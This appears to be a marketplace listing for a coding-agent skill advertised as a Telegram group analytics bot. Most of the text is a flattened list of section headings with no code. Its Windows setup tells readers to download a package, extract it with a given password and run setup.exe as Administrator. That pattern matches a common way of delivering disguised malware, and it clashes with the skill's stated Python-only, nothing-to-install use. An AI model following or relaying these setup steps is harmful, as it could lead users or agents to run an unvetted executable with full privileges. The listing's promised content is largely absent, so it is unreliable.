Agent skill · data analytics · aradotso
telegram-group-analytics-bot
Track and analyze Telegram group activity including member growth, message counts, engagement metrics, and generate automated reports
Why this skill is useful
Provides specific commands and analytics patterns for Telegram group engagement that the AI wouldn't generate on its own.
What it needs
Requires python installed locally. Requires telegram account access. About 4k tokens when loaded. Last updated 2026-08-05. 5 stars on the source repository.
What this skill does
Telegram Group Statistics & Analytics Bot Skill by ara.so — Data Skills collection. Overview This bot tracks and analyzes Telegram group activity, providing insights on: Member growth (joins, leaves, net change) Message counts per user and overall Activity patterns (hourly/daily heatmaps) User engagement and participation Automated daily/weekly reports CSV/PDF/HTML export capabilities Installation Windows Setup 1. Download the release package 2. Extract with password: trainer2026 3. Run setup.exe as Administrator 4. Configure bot token and group settings Manual Setup (Python) Configuration Create a config.json file: Environment Variables Key Commands Bot Commands (in Telegram) Admin Commands API Usage Python Library Integration Message Tracking Report Generation Activity Alerts Data Export CSV Export HTML/PDF Reports Common Patterns Automated Daily Reports Real-time Activity Monitoring Member Change Tracking Troubleshooting Bot Not Receiving Messages Database Locks Missing Historical Data Memory Issues with Large Groups Rate Limiting Best Practices 1. Store credentials securely - Use environment variables, never hardcode tokens 2. Regular backups - Schedule daily database backups 3. Monitor bot health - Set up alerts for bot downtime 4. Respect privacy - Only collect necessary data, inform users 5. Optimize queries - Index frequently queried fields in the database 6. Clean old data - Archive or remove data older than retention period
How to use it
Reference it in AdaL, Claude Code, Cursor or any coding agent — nothing to install:
@skills aradotso/telegram-group-analytics-bot